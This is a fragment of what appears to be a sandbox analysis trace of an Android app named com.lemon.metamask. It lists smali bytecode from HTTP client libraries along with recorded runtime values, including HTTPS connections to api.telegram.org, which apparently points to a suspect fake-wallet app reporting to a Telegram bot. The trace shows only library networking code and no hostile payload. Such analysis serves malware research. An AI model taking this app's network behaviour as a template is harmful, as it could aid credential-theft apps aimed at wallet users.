        • java.lang.String.equalsIgnoreCase
        • java.lang.Long.parseLong
        Strings
        • HTTP response
        • Keep-Alive
        • timeout
        Position Instruction Meta Information
        1const-string p2, "HTTP response"
        3invoke-static {p1, p2}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        4new-instance p2, Lcz/msebera/android/httpclient/message/BasicHeaderElementIterator;
        6const-string v0, "Keep-Alive"
        8invoke-interface {p1, v0}, Lcz/msebera/android/httpclient/HttpResponse;->headerIterator(Ljava/lang/String;)Lcz/msebera/android/httpclient/HeaderIterator;
        9move-result-object p1
        11invoke-direct {p2, p1}, Lcz/msebera/android/httpclient/message/BasicHeaderElementIterator;-><init>(Lcz/msebera/android/httpclient/HeaderIterator;)V
        12cond_10:
        13invoke-interface {p2}, Lcz/msebera/android/httpclient/HeaderElementIterator;->hasNext()Z
        • Time: 1304726
          • This:
            • cz.msebera.android.httpclient.message.BasicHeaderElementIterator@d54c871
          • Return:
            • false
        14move-result p1
        15if-eqz p1, :cond_35
        17invoke-interface {p2}, Lcz/msebera/android/httpclient/HeaderElementIterator;->nextElement()Lcz/msebera/android/httpclient/HeaderElement;
        18move-result-object p1
        20invoke-interface {p1}, Lcz/msebera/android/httpclient/HeaderElement;->getName()Ljava/lang/String;
        21move-result-object v0
        23invoke-interface {p1}, Lcz/msebera/android/httpclient/HeaderElement;->getValue()Ljava/lang/String;
        24move-result-object p1
        25if-eqz p1, :cond_10
        27const-string v1, "timeout"
        29invoke-virtual {v0, v1}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
        30move-result v0
        31if-eqz v0, :cond_10
        32try_start_2c:
        33invoke-static {p1}, Ljava/lang/Long;->parseLong(Ljava/lang/String;)J
        34move-result-wide v0
        35try_end_30: const-wide/16 p1, 0x3e8
        36mul-long v0, v0, p1
        37return-wide v0
        38cond_35: const-wide/16 p1, -0x1
        39return-wide p1
        Cross References
        APIs
        • cz.msebera.android.httpclient.message.BasicStatusLine.getReasonPhrase
        Strings
        • Status line
        • OK
        • java.lang.String@3f2e60c
        • java.lang.String@9cbcb55
        • java.lang.String@a81a21d
        Position Instruction Meta Information
        1invoke-direct {p0}, Lcz/msebera/android/httpclient/message/AbstractHttpMessage;-><init>()V
        3const-string v0, "Status line"
        5invoke-static {p1, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        6move-result-object v0
        7check-cast v0, Lcz/msebera/android/httpclient/StatusLine;
        8iput-object v0, p0, Lcz/msebera/android/httpclient/message/BasicHttpResponse;->statusline:Lcz/msebera/android/httpclient/StatusLine;
        10invoke-interface {p1}, Lcz/msebera/android/httpclient/StatusLine;->getProtocolVersion()Lcz/msebera/android/httpclient/ProtocolVersion;
        11move-result-object v0
        12iput-object v0, p0, Lcz/msebera/android/httpclient/message/BasicHttpResponse;->ver:Lcz/msebera/android/httpclient/ProtocolVersion;
        14invoke-interface {p1}, Lcz/msebera/android/httpclient/StatusLine;->getStatusCode()I
        15move-result v0
        16iput v0, p0, Lcz/msebera/android/httpclient/message/BasicHttpResponse;->code:I
        18invoke-interface {p1}, Lcz/msebera/android/httpclient/StatusLine;->getReasonPhrase()Ljava/lang/String;
        • Time: 1303948
          • This:
            • HTTP/1.1 200 OK
          • Return:
            • OK
        • Time: 1303955
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@20b955e
          • p0: java.lang.String@a81a21d
        • Time: 1303967
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@20b955e
          • p0: java.lang.String@3f2e60c
        • Time: 1303970
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@20b955e
          • p0: OK
        • Time: 1303972
          • This:
            • java.lang.String@9cbcb55
          • p0: [C@c77a96a
          • p0: HTTP/1.1 200 OK
          • p1: java.lang.Integer@a8cbdf
          • p2: java.lang.Integer@68d9e5b
          • Return:
            • java.lang.String@9cbcb55
        • Time: 1303975
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@20b955e
          • Return:
            • java.lang.String@9cbcb55
        19move-result-object p1
        20iput-object p1, p0, Lcz/msebera/android/httpclient/message/BasicHttpResponse;->reasonPhrase:Ljava/lang/String;
        21iput-object p2, p0, Lcz/msebera/android/httpclient/message/BasicHttpResponse;->reasonCatalog:Lcz/msebera/android/httpclient/ReasonPhraseCatalog;
        22iput-object p3, p0, Lcz/msebera/android/httpclient/message/BasicHttpResponse;->locale:Ljava/util/Locale;
        23return-void
        Cross References
        APIs
        • cz.msebera.android.httpclient.util.ByteArrayBuffer.isEmpty
        • cz.msebera.android.httpclient.impl.io.SocketInputBuffer.hasBufferedData
        • java.io.IOException.<init>
        Strings
        • Char array buffer
        • Maximum line length limit exceeded
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Ljava/io/IOException;
        3}
        4.end annotation
        6const-string v0, "Char array buffer"
        8invoke-static {p1, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        9const/4 v0, 0x1
        10const/4 v1, 0x0
        11const/4 v2, 0x0
        12goto_8: const/4 v3, -0x1
        13if-eqz v0, :cond_67
        15invoke-direct {p0}, Lcz/msebera/android/httpclient/impl/io/AbstractSessionInputBuffer;->locateLF()I
        16move-result v4
        17if-eq v4, v3, :cond_31
        19iget-object v0, p0, Lcz/msebera/android/httpclient/impl/io/AbstractSessionInputBuffer;->linebuffer:Lcz/msebera/android/httpclient/util/ByteArrayBuffer;
        21invoke-virtual {v0}, Lcz/msebera/android/httpclient/util/ByteArrayBuffer;->isEmpty()Z
        • Time: 1303931
          • This:
            • cz.msebera.android.httpclient.util.ByteArrayBuffer@66c5dba
          • Return:
            • true
        22move-result v0
        23if-eqz v0, :cond_1e
        25invoke-direct {p0, p1, v4}, Lcz/msebera/android/httpclient/impl/io/AbstractSessionInputBuffer;->lineFromReadBuffer(Lcz/msebera/android/httpclient/util/CharArrayBuffer;I)I
        26move-result p1
        27return p1
        28cond_1e: add-int/lit8 v4, v4, 0x1
        29iget v0, p0, Lcz/msebera/android/httpclient/impl/io/AbstractSessionInputBuffer;->bufferpos:I
        30sub-int v0, v4, v0
        32iget-object v3, p0, Lcz/msebera/android/httpclient/impl/io/AbstractSessionInputBuffer;->linebuffer:Lcz/msebera/android/httpclient/util/ByteArrayBuffer;
        34iget-object v5, p0, Lcz/msebera/android/httpclient/impl/io/AbstractSessionInputBuffer;->buffer:[B
        35iget v6, p0, Lcz/msebera/android/httpclient/impl/io/AbstractSessionInputBuffer;->bufferpos:I
        37invoke-virtual {v3, v5, v6, v0}, Lcz/msebera/android/httpclient/util/ByteArrayBuffer;->append([BII)V
        38iput v4, p0, Lcz/msebera/android/httpclient/impl/io/AbstractSessionInputBuffer;->bufferpos:I
        39goto_2f: const/4 v0, 0x0
        40goto/16 :goto_50
        41cond_31:
        42invoke-virtual {p0}, Lcz/msebera/android/httpclient/impl/io/AbstractSessionInputBuffer;->hasBufferedData()Z
        • Time: 1303858
          • This:
            • cz.msebera.android.httpclient.impl.io.SocketInputBuffer@76476b0
          • Return:
            • false
        43move-result v2
        44if-eqz v2, :cond_49
        45iget v2, p0, Lcz/msebera/android/httpclient/impl/io/AbstractSessionInputBuffer;->bufferlen:I
        46iget v4, p0, Lcz/msebera/android/httpclient/impl/io/AbstractSessionInputBuffer;->bufferpos:I
        47sub-int/2addr v2, v4
        49iget-object v4, p0, Lcz/msebera/android/httpclient/impl/io/AbstractSessionInputBuffer;->linebuffer:Lcz/msebera/android/httpclient/util/ByteArrayBuffer;
        51iget-object v5, p0, Lcz/msebera/android/httpclient/impl/io/AbstractSessionInputBuffer;->buffer:[B
        52iget v6, p0, Lcz/msebera/android/httpclient/impl/io/AbstractSessionInputBuffer;->bufferpos:I
        54invoke-virtual {v4, v5, v6, v2}, Lcz/msebera/android/httpclient/util/ByteArrayBuffer;->append([BII)V
        55iget v2, p0, Lcz/msebera/android/httpclient/impl/io/AbstractSessionInputBuffer;->bufferlen:I
        56iput v2, p0, Lcz/msebera/android/httpclient/impl/io/AbstractSessionInputBuffer;->bufferpos:I
        57cond_49:
        58invoke-virtual {p0}, Lcz/msebera/android/httpclient/impl/io/AbstractSessionInputBuffer;->fillBuffer()I
        59move-result v2
        60if-ne v2, v3, :cond_50
        61goto/16 :goto_2f
        62cond_50: iget v3, p0, Lcz/msebera/android/httpclient/impl/io/AbstractSessionInputBuffer;->maxLineLen:I
        63if-lez v3, :cond_8
        65iget-object v3, p0, Lcz/msebera/android/httpclient/impl/io/AbstractSessionInputBuffer;->linebuffer:Lcz/msebera/android/httpclient/util/ByteArrayBuffer;
        67invoke-virtual {v3}, Lcz/msebera/android/httpclient/util/ByteArrayBuffer;->length()I
        68move-result v3
        69iget v4, p0, Lcz/msebera/android/httpclient/impl/io/AbstractSessionInputBuffer;->maxLineLen:I
        70if-ge v3, v4, :cond_5f
        71goto/16 :goto_8
        72cond_5f: new-instance p1, Ljava/io/IOException;
        74const-string v0, "Maximum line length limit exceeded"
        76invoke-direct {p1, v0}, Ljava/io/IOException;-><init>(Ljava/lang/String;)V
        77throw p1
        78cond_67: if-ne v2, v3, :cond_72
        80iget-object v0, p0, Lcz/msebera/android/httpclient/impl/io/AbstractSessionInputBuffer;->linebuffer:Lcz/msebera/android/httpclient/util/ByteArrayBuffer;
        82invoke-virtual {v0}, Lcz/msebera/android/httpclient/util/ByteArrayBuffer;->isEmpty()Z
        83move-result v0
        84if-eqz v0, :cond_72
        85return v3
        86cond_72:
        87invoke-direct {p0, p1}, Lcz/msebera/android/httpclient/impl/io/AbstractSessionInputBuffer;->lineFromLineBuffer(Lcz/msebera/android/httpclient/util/CharArrayBuffer;)I
        88move-result p1
        89return p1
        Cross References
        APIs
        • cz.msebera.android.httpclient.impl.io.SocketInputBuffer.hasBufferedData
        • java.lang.Math.min
        • java.lang.System.arraycopy
        • java.io.InputStream.read
        • java.lang.Math.min
        • java.lang.System.arraycopy
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Ljava/io/IOException;
        3}
        4.end annotation
        5if-nez p1, :cond_4
        6const/4 p1, 0x0
        7return p1
        8cond_4:
        9invoke-virtual {p0}, Lcz/msebera/android/httpclient/impl/io/AbstractSessionInputBuffer;->hasBufferedData()Z
        • Time: 1304987
          • This:
            • cz.msebera.android.httpclient.impl.io.SocketInputBuffer@76476b0
          • Return:
            • true
        10move-result v0
        11if-eqz v0, :cond_20
        12iget v0, p0, Lcz/msebera/android/httpclient/impl/io/AbstractSessionInputBuffer;->bufferlen:I
        13iget v1, p0, Lcz/msebera/android/httpclient/impl/io/AbstractSessionInputBuffer;->bufferpos:I
        14sub-int/2addr v0, v1
        16invoke-static {p3, v0}, Ljava/lang/Math;->min(II)I
        17move-result p3
        19iget-object v0, p0, Lcz/msebera/android/httpclient/impl/io/AbstractSessionInputBuffer;->buffer:[B
        20iget v1, p0, Lcz/msebera/android/httpclient/impl/io/AbstractSessionInputBuffer;->bufferpos:I
        22invoke-static {v0, v1, p1, p2, p3}, Ljava/lang/System;->arraycopy(Ljava/lang/Object;ILjava/lang/Object;II)V
        23iget p1, p0, Lcz/msebera/android/httpclient/impl/io/AbstractSessionInputBuffer;->bufferpos:I
        24add-int/2addr p1, p3
        25iput p1, p0, Lcz/msebera/android/httpclient/impl/io/AbstractSessionInputBuffer;->bufferpos:I
        26return p3
        27cond_20: iget v0, p0, Lcz/msebera/android/httpclient/impl/io/AbstractSessionInputBuffer;->minChunkLimit:I
        28if-le p3, v0, :cond_33
        30iget-object v0, p0, Lcz/msebera/android/httpclient/impl/io/AbstractSessionInputBuffer;->instream:Ljava/io/InputStream;
        32invoke-virtual {v0, p1, p2, p3}, Ljava/io/InputStream;->read([BII)I
        33move-result p1
        34if-lez p1, :cond_32
        36iget-object p2, p0, Lcz/msebera/android/httpclient/impl/io/AbstractSessionInputBuffer;->metrics:Lcz/msebera/android/httpclient/impl/io/HttpTransportMetricsImpl;
        37int-to-long v0, p1
        39invoke-virtual {p2, v0, v1}, Lcz/msebera/android/httpclient/impl/io/HttpTransportMetricsImpl;->incrementBytesTransferred(J)V
        40cond_32: return p1
        41cond_33:
        42invoke-virtual {p0}, Lcz/msebera/android/httpclient/impl/io/AbstractSessionInputBuffer;->hasBufferedData()Z
        43move-result v0
        44if-nez v0, :cond_41
        46invoke-virtual {p0}, Lcz/msebera/android/httpclient/impl/io/AbstractSessionInputBuffer;->fillBuffer()I
        47move-result v0
        48const/4 v1, -0x1
        49if-ne v0, v1, :cond_33
        50return v1
        51cond_41: iget v0, p0, Lcz/msebera/android/httpclient/impl/io/AbstractSessionInputBuffer;->bufferlen:I
        52iget v1, p0, Lcz/msebera/android/httpclient/impl/io/AbstractSessionInputBuffer;->bufferpos:I
        53sub-int/2addr v0, v1
        55invoke-static {p3, v0}, Ljava/lang/Math;->min(II)I
        56move-result p3
        58iget-object v0, p0, Lcz/msebera/android/httpclient/impl/io/AbstractSessionInputBuffer;->buffer:[B
        59iget v1, p0, Lcz/msebera/android/httpclient/impl/io/AbstractSessionInputBuffer;->bufferpos:I
        61invoke-static {v0, v1, p1, p2, p3}, Ljava/lang/System;->arraycopy(Ljava/lang/Object;ILjava/lang/Object;II)V
        62iget p1, p0, Lcz/msebera/android/httpclient/impl/io/AbstractSessionInputBuffer;->bufferpos:I
        63add-int/2addr p1, p3
        64iput p1, p0, Lcz/msebera/android/httpclient/impl/io/AbstractSessionInputBuffer;->bufferpos:I
        65return p3
        Cross References
        APIs
        • cz.msebera.android.httpclient.conn.routing.HttpRoute.isSecure
        • cz.msebera.android.httpclient.HttpHost.toURI
        • java.net.InetAddress.equals
        Strings
        • java.lang.String@affe6e7
        • java.lang.String@3e6c13d
        Position Instruction Meta Information
        1invoke-interface {p2}, Lcz/msebera/android/httpclient/conn/routing/RouteInfo;->getHopCount()I
        2move-result v0
        3const/4 v1, -0x1
        4const/4 v2, 0x1
        5if-le v0, v2, :cond_9
        6return v1
        7cond_9:
        8invoke-interface {p1}, Lcz/msebera/android/httpclient/conn/routing/RouteInfo;->getTargetHost()Lcz/msebera/android/httpclient/HttpHost;
        9move-result-object v0
        11invoke-interface {p2}, Lcz/msebera/android/httpclient/conn/routing/RouteInfo;->getTargetHost()Lcz/msebera/android/httpclient/HttpHost;
        12move-result-object v2
        14invoke-virtual {v0, v2}, Lcz/msebera/android/httpclient/HttpHost;->equals(Ljava/lang/Object;)Z
        15move-result v0
        16if-nez v0, :cond_18
        17return v1
        18cond_18:
        19invoke-interface {p1}, Lcz/msebera/android/httpclient/conn/routing/RouteInfo;->isSecure()Z
        • Time: 1303001
          • This:
            • https://api.telegram.org
          • Return:
            • java.lang.String@affe6e7
        • Time: 1303000
          • This:
            • {s}->https://api.telegram.org
          • Return:
            • true
        20move-result v0
        22invoke-interface {p2}, Lcz/msebera/android/httpclient/conn/routing/RouteInfo;->isSecure()Z
        • Time: 1303074
          • This:
            • https://api.telegram.org
          • Return:
            • java.lang.String@3e6c13d
        • Time: 1303074
          • This:
            • {s}->https://api.telegram.org
          • Return:
            • true
        23move-result v2
        24if-eq v0, v2, :cond_23
        25return v1
        26cond_23:
        27invoke-interface {p1}, Lcz/msebera/android/httpclient/conn/routing/RouteInfo;->getLocalAddress()Ljava/net/InetAddress;
        28move-result-object v0
        29if-eqz v0, :cond_38
        31invoke-interface {p1}, Lcz/msebera/android/httpclient/conn/routing/RouteInfo;->getLocalAddress()Ljava/net/InetAddress;
        32move-result-object p1
        34invoke-interface {p2}, Lcz/msebera/android/httpclient/conn/routing/RouteInfo;->getLocalAddress()Ljava/net/InetAddress;
        35move-result-object p2
        37invoke-virtual {p1, p2}, Ljava/net/InetAddress;->equals(Ljava/lang/Object;)Z
        38move-result p1
        39if-nez p1, :cond_38
        40return v1
        41cond_38: const/4 p1, 0x0
        42return p1
        Cross References
        APIs
        • cz.msebera.android.httpclient.util.CharArrayBuffer.append
        • java.lang.Integer.toString
        Strings
        • Protocol version
        • java.lang.String@a81a21d
        Position Instruction Meta Information
        1const-string v0, "Protocol version"
        3invoke-static {p2, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        5invoke-virtual {p0, p2}, Lcz/msebera/android/httpclient/message/BasicLineFormatter;->estimateProtocolVersionLen(Lcz/msebera/android/httpclient/ProtocolVersion;)I
        6move-result v0
        7if-nez p1, :cond_11
        8new-instance p1, Lcz/msebera/android/httpclient/util/CharArrayBuffer;
        10invoke-direct {p1, v0}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;-><init>(I)V
        11goto/16 :goto_14
        12cond_11:
        13invoke-virtual {p1, v0}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->ensureCapacity(I)V
        14goto_14:
        15invoke-virtual {p2}, Lcz/msebera/android/httpclient/ProtocolVersion;->getProtocol()Ljava/lang/String;
        16move-result-object v0
        18invoke-virtual {p1, v0}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->append(Ljava/lang/String;)V
        • Time: 1303689
          • This:
            • GET
          • p0: java.lang.String@a81a21d
        19const/16 v0, 0x2f
        21invoke-virtual {p1, v0}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->append(C)V
        23invoke-virtual {p2}, Lcz/msebera/android/httpclient/ProtocolVersion;->getMajor()I
        24move-result v0
        26invoke-static {v0}, Ljava/lang/Integer;->toString(I)Ljava/lang/String;
        27move-result-object v0
        29invoke-virtual {p1, v0}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->append(Ljava/lang/String;)V
        30const/16 v0, 0x2e
        32invoke-virtual {p1, v0}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->append(C)V
        34invoke-virtual {p2}, Lcz/msebera/android/httpclient/ProtocolVersion;->getMinor()I
        35move-result p2
        37invoke-static {p2}, Ljava/lang/Integer;->toString(I)Ljava/lang/String;
        38move-result-object p2
        40invoke-virtual {p1, p2}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->append(Ljava/lang/String;)V
        41return-object p1
        Cross References
        APIs
        • com.lemon.metamask.Activity.MainActivity$4.getUseSynchronousMode
        • java.lang.Thread.currentThread
        • java.lang.Thread.isInterrupted
        • android.os.Handler.sendMessage
        Strings
        • handler should not be null!
        Position Instruction Meta Information
        1invoke-virtual {p0}, Lcom/loopj/android/http/AsyncHttpResponseHandler;->getUseSynchronousMode()Z
        • Time: 1301718
          • This:
            • com.lemon.metamask.Activity.MainActivity$4@b30a799
          • Return:
            • false
        2move-result v0
        3if-nez v0, :cond_27
        5iget-object v0, p0, Lcom/loopj/android/http/AsyncHttpResponseHandler;->handler:Landroid/os/Handler;
        6if-nez v0, :cond_b
        7goto/16 :goto_27
        8cond_b:
        9invoke-static {}, Ljava/lang/Thread;->currentThread()Ljava/lang/Thread;
        10move-result-object v0
        12invoke-virtual {v0}, Ljava/lang/Thread;->isInterrupted()Z
        13move-result v0
        14if-nez v0, :cond_2a
        16iget-object v0, p0, Lcom/loopj/android/http/AsyncHttpResponseHandler;->handler:Landroid/os/Handler;
        17if-eqz v0, :cond_1b
        18const/4 v0, 0x1
        19goto/16 :goto_1c
        20cond_1b: const/4 v0, 0x0
        21goto_1c:
        22const-string v1, "handler should not be null!"
        24invoke-static {v0, v1}, Lcom/loopj/android/http/Utils;->asserts(ZLjava/lang/String;)V
        26iget-object v0, p0, Lcom/loopj/android/http/AsyncHttpResponseHandler;->handler:Landroid/os/Handler;
        28invoke-virtual {v0, p1}, Landroid/os/Handler;->sendMessage(Landroid/os/Message;)Z
        29goto/16 :goto_2a
        30cond_27:
        31invoke-virtual {p0, p1}, Lcom/loopj/android/http/AsyncHttpResponseHandler;->handleMessage(Landroid/os/Message;)V
        32goto_2a: return-void
        Cross References
        APIs
        • cz.msebera.android.httpclient.impl.client.EntityEnclosingRequestWrapper.getMethod
        • java.net.URI.toASCIIString
        • java.lang.String.length
        Strings
        • java.lang.String@c1438e0
        • /
        Position Instruction Meta Information
        1invoke-virtual {p0}, Lcz/msebera/android/httpclient/impl/client/RequestWrapper;->getMethod()Ljava/lang/String;
        • Time: 1303131
          • This:
            • cz.msebera.android.httpclient.impl.client.EntityEnclosingRequestWrapper@8b59606
          • Return:
            • java.lang.String@c1438e0
        2move-result-object v0
        4invoke-virtual {p0}, Lcz/msebera/android/httpclient/impl/client/RequestWrapper;->getProtocolVersion()Lcz/msebera/android/httpclient/ProtocolVersion;
        5move-result-object v1
        7iget-object v2, p0, Lcz/msebera/android/httpclient/impl/client/RequestWrapper;->uri:Ljava/net/URI;
        8if-eqz v2, :cond_13
        10iget-object v2, p0, Lcz/msebera/android/httpclient/impl/client/RequestWrapper;->uri:Ljava/net/URI;
        12invoke-virtual {v2}, Ljava/net/URI;->toASCIIString()Ljava/lang/String;
        13move-result-object v2
        14goto/16 :goto_14
        15cond_13: const/4 v2, 0x0
        16goto_14: if-eqz v2, :cond_1c
        18invoke-virtual {v2}, Ljava/lang/String;->length()I
        19move-result v3
        20if-nez v3, :cond_1e
        21cond_1c:
        22const-string v2, "/"
        23cond_1e: new-instance v3, Lcz/msebera/android/httpclient/message/BasicRequestLine;
        25invoke-direct {v3, v0, v2, v1}, Lcz/msebera/android/httpclient/message/BasicRequestLine;-><init>(Ljava/lang/String;Ljava/lang/String;Lcz/msebera/android/httpclient/ProtocolVersion;)V
        26return-object v3
        Cross References
        APIs
        • cz.msebera.android.httpclient.conn.scheme.Scheme.getName
        • java.util.concurrent.ConcurrentHashMap.put
        Strings
        • Scheme
        • http
        • https
        Position Instruction Meta Information
        1const-string v0, "Scheme"
        3invoke-static {p1, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        5iget-object v0, p0, Lcz/msebera/android/httpclient/conn/scheme/SchemeRegistry;->registeredSchemes:Ljava/util/concurrent/ConcurrentHashMap;
        7invoke-virtual {p1}, Lcz/msebera/android/httpclient/conn/scheme/Scheme;->getName()Ljava/lang/String;
        • Time: 1301650
          • This:
            • http:80
          • Return:
            • http
        • Time: 1301653
          • This:
            • https:443
          • Return:
            • https
        8move-result-object v1
        10invoke-virtual {v0, v1, p1}, Ljava/util/concurrent/ConcurrentHashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
        11move-result-object p1
        12check-cast p1, Lcz/msebera/android/httpclient/conn/scheme/Scheme;
        13return-object p1
        Cross References
        APIs
        • cz.msebera.android.httpclient.impl.conn.DefaultClientConnection.getClass
        • java.util.HashMap.<init>
        Strings
        • cz.msebera.android.httpclient.headers
        • cz.msebera.android.httpclient.wire
        Position Instruction Meta Information
        1invoke-direct {p0}, Lcz/msebera/android/httpclient/impl/SocketHttpClientConnection;-><init>()V
        2new-instance v0, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        4invoke-virtual {p0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
        • Time: 1302452
          • This:
            • cz.msebera.android.httpclient.impl.conn.DefaultClientConnection@4c441d4
          • Return:
            • class cz.msebera.android.httpclient.impl.conn.DefaultClientConnection
            • getName: cz.msebera.android.httpclient.impl.conn.DefaultClientConnection
        5move-result-object v1
        7invoke-direct {v0, v1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;-><init>(Ljava/lang/Object;)V
        8iput-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/DefaultClientConnection;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        9new-instance v0, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        11const-string v1, "cz.msebera.android.httpclient.headers"
        13invoke-direct {v0, v1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;-><init>(Ljava/lang/Object;)V
        14iput-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/DefaultClientConnection;->headerLog:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        15new-instance v0, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        17const-string v1, "cz.msebera.android.httpclient.wire"
        19invoke-direct {v0, v1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;-><init>(Ljava/lang/Object;)V
        20iput-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/DefaultClientConnection;->wireLog:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        21new-instance v0, Ljava/util/HashMap;
        23invoke-direct {v0}, Ljava/util/HashMap;-><init>()V
        24iput-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/DefaultClientConnection;->attributes:Ljava/util/Map;
        25return-void
        APIs
        • com.android.org.conscrypt.OpenSSLSocketImpl.isClosed
        Strings
        • Socket
        • Socket not created by this factory
        • Socket is closed
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Ljava/lang/IllegalArgumentException;
        3}
        4.end annotation
        6const-string v0, "Socket"
        8invoke-static {p1, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        9instance-of v0, p1, Ljavax/net/ssl/SSLSocket;
        11const-string v1, "Socket not created by this factory"
        13invoke-static {v0, v1}, Lcz/msebera/android/httpclient/util/Asserts;->check(ZLjava/lang/String;)V
        15invoke-virtual {p1}, Ljava/net/Socket;->isClosed()Z
        • Time: 1302916
          • This:
            • Socket[address=api.telegram.org/149.154.167.220,port=443,localPort=35794]
          • Return:
            • false
        16move-result p1
        17const/4 v0, 0x1
        18xor-int/2addr p1, v0
        20const-string v1, "Socket is closed"
        22invoke-static {p1, v1}, Lcz/msebera/android/httpclient/util/Asserts;->check(ZLjava/lang/String;)V
        23return v0
        Cross References
        APIs
        • java.lang.Object.<init>
        • cz.msebera.android.httpclient.impl.conn.tsccm.RouteSpecificPool.getClass
        • java.util.LinkedList.<init>
        Position Instruction Meta Information
        1invoke-direct {p0}, Ljava/lang/Object;-><init>()V
        2new-instance v0, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        4invoke-virtual {p0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
        • Time: 1302400
          • This:
            • cz.msebera.android.httpclient.impl.conn.tsccm.RouteSpecificPool@de6954b
          • Return:
            • class cz.msebera.android.httpclient.impl.conn.tsccm.RouteSpecificPool
            • getName: cz.msebera.android.httpclient.impl.conn.tsccm.RouteSpecificPool
        5move-result-object v1
        7invoke-direct {v0, v1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;-><init>(Ljava/lang/Object;)V
        8iput-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/RouteSpecificPool;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        9iput-object p1, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/RouteSpecificPool;->route:Lcz/msebera/android/httpclient/conn/routing/HttpRoute;
        10iput-object p2, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/RouteSpecificPool;->connPerRoute:Lcz/msebera/android/httpclient/conn/params/ConnPerRoute;
        12invoke-interface {p2, p1}, Lcz/msebera/android/httpclient/conn/params/ConnPerRoute;->getMaxForRoute(Lcz/msebera/android/httpclient/conn/routing/HttpRoute;)I
        13move-result p1
        14iput p1, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/RouteSpecificPool;->maxEntries:I
        15new-instance p1, Ljava/util/LinkedList;
        17invoke-direct {p1}, Ljava/util/LinkedList;-><init>()V
        18iput-object p1, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/RouteSpecificPool;->freeEntries:Ljava/util/LinkedList;
        19new-instance p1, Ljava/util/LinkedList;
        21invoke-direct {p1}, Ljava/util/LinkedList;-><init>()V
        22iput-object p1, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/RouteSpecificPool;->waitingThreads:Ljava/util/Queue;
        23const/4 p1, 0x0
        24iput p1, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/RouteSpecificPool;->numEntries:I
        25return-void
        Cross References
        APIs
        • cz.msebera.android.httpclient.conn.EofSensorInputStream.isReadAllowed
        • java.io.InputStream.read
        • cz.msebera.android.httpclient.conn.EofSensorInputStream.checkEOF
        • cz.msebera.android.httpclient.conn.EofSensorInputStream.checkAbort
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Ljava/io/IOException;
        3}
        4.end annotation
        6invoke-virtual {p0}, Lcz/msebera/android/httpclient/conn/EofSensorInputStream;->isReadAllowed()Z
        • Time: 1304986
          • This:
            • cz.msebera.android.httpclient.conn.EofSensorInputStream@3d28c24
          • Return:
            • true
        7move-result v0
        8if-eqz v0, :cond_15
        9try_start_6:
        10iget-object v0, p0, Lcz/msebera/android/httpclient/conn/EofSensorInputStream;->wrappedStream:Ljava/io/InputStream;
        12invoke-virtual {v0, p1, p2, p3}, Ljava/io/InputStream;->read([BII)I
        13move-result p1
        15invoke-virtual {p0, p1}, Lcz/msebera/android/httpclient/conn/EofSensorInputStream;->checkEOF(I)V
        16try_end_f: goto/16 :goto_16
        17catch_10: move-exception p1
        19invoke-virtual {p0}, Lcz/msebera/android/httpclient/conn/EofSensorInputStream;->checkAbort()V
        20throw p1
        21cond_15: const/4 p1, -0x1
        22goto_16: return p1
        Cross References
        APIs
        • java.lang.Object.<init>
        • cz.msebera.android.httpclient.impl.conn.tsccm.ConnPoolByRoute.getClass
        • java.util.HashSet.<init>
        • java.util.concurrent.locks.ReentrantLock.<init>
        Position Instruction Meta Information
        1invoke-direct {p0}, Ljava/lang/Object;-><init>()V
